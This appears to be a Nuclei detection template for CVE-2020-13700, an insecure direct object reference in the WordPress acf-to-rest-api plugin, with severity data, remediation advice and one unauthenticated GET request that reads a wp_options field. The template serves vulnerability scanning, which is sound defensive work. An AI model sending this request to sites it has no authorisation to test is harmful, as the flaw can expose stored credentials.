WordPress acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference

id: CVE-2020-13700

info:
  name: WordPress acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference
  author: pikpikcu
  severity: high
  description: |
    WordPress acf-to-rest-ap through 3.1.0 allows an insecure direct object reference via permalinks manipulation, as demonstrated by a wp-json/acf/v3/options/ request that can read sensitive information in the wp_options table such as the login and pass values.
  impact: |
    An attacker can exploit this vulnerability to access sensitive data, such as user information or administrative credentials.
  remediation: |
    Update the acf-to-rest-api plugin to version >3.1.0 or apply the latest security patches.
  reference:
    - https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5
    - https://wordpress.org/plugins/acf-to-rest-api/#developers
    - https://github.com/airesvsg/acf-to-rest-api
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13700
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-13700
    cwe-id: CWE-639
    epss-score: 0.12955
    epss-percentile: 0.95842
    cpe: cpe:2.3:a:acf_to_rest_api_project:acf_to_rest_api:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: acf_to_rest_api_project
    product: acf_to_rest_api
    framework: wordpress
  tags: cve,cve2020,wordpress,plugin,acf_to_rest_api_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Content-Type: application/json'

      - type: word
        part: body
        words:
          - 'acf-to-rest-api\/class-acf-to-rest-api.php'
        condition: and

      - type: status
        status:
          - 200
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